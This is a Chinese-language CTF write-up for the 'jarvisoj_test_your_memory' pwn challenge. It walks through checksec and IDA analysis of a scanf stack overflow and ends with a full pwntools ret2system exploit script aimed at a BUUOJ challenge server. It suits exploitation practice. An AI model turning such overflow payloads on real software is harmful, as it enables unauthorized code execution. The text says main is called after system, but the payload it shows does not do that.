jarvisoj_test_your_memory
使用checksec查看:

只开启了栈不可执行,应该还是一道栈溢出题目。
放进IDA中查看:

- 先是用
printf()输出了一个不知道什么玩意的东西 - 然后调用
men_test()
跟进查看men_test():

printf("0x%x \n", hint);:输出了hint的地址__isoc99_scanf("%s", &s);:存在栈溢出,距离ebp0x13
题目思路:
- 题目存在栈溢出,可以进行溢出调用
system - 题目没有
/bin/sh,但是存在cat flag,同样可以用作system的参数。 - 需要正常结束程序,所以调用
system之后再调用main
exp:
from pwn import *
#start
# r = process("../buu/jarvisoj_test_your_memory")
r = remote("node4.buuoj.cn",29326)
elf = ELF("../buu/jarvisoj_test_your_memory")
context.log_level = 'debug'
flag_addr = 0x80487E0
system_addr = elf.symbols['system']
main_addr = elf.symbols['main']
#attack
payload = b'M'*(0x13+4) + p32(system_addr) + p32(0) + p32(flag_addr)
r.sendline(payload)
r.interactive()
本文详细分析了一道CTF比赛中的栈溢出题目,通过checksec发现了只开启了栈不可执行保护。通过IDA分析,发现存在栈溢出条件,可以利用此漏洞调用system函数,并且找到了catflag作为参数来读取flag。最终构造exploit,成功执行了溢出并调用main以正常结束程序。

357

被折叠的 条评论
为什么被折叠?



